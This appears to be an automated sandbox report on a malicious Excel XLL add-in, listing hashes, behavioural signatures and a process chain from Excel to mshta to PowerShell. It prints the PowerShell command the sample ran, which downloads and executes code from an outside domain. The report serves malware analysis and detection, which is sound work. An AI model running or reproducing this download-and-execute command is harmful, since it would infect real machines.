Analysis
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max time kernel
131s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 23:49
Static task
static1
Behavioral task
behavioral1
Sample
a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d.xll
Resource
win11-20240426-en
General
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Target
a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d.xll
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Size
12KB
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MD5
80556a4dacee552a7fd1e09ba60197cc
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SHA1
febac442c58243ee9dffed813c6138b0e17bcd76
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SHA256
a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d
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SHA512
5d00965961578744084d61ef0702633b47a387bc6e96c42a7e350e9a52372e74de37513bc101918aa5ac730bba2c58e249b788b1ccd11e197893a772b99dbb97
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SSDEEP
192:DL29RBzDzeobchBj8JON4ONGruaUrEPEjr7AhD:/29jnbcvYJO10uaUvr7CD
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1340 3848 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 2068 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3848 EXCEL.EXE 3848 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3848 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2068 powershell.exe 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2068 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE 3848 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3848 wrote to memory of 1340 3848 EXCEL.EXE mshta.exe PID 3848 wrote to memory of 1340 3848 EXCEL.EXE mshta.exe PID 3848 wrote to memory of 1340 3848 EXCEL.EXE mshta.exe PID 1340 wrote to memory of 2068 1340 mshta.exe powershell.exe PID 1340 wrote to memory of 2068 1340 mshta.exe powershell.exe PID 1340 wrote to memory of 2068 1340 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2068
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d.xll
Filesize12KB
MD580556a4dacee552a7fd1e09ba60197cc
SHA1febac442c58243ee9dffed813c6138b0e17bcd76
SHA256a7c21bf99b3b3dbbfe973a74e30427892adff537d14bfe5ec726aa3e8e62092d
SHA5125d00965961578744084d61ef0702633b47a387bc6e96c42a7e350e9a52372e74de37513bc101918aa5ac730bba2c58e249b788b1ccd11e197893a772b99dbb97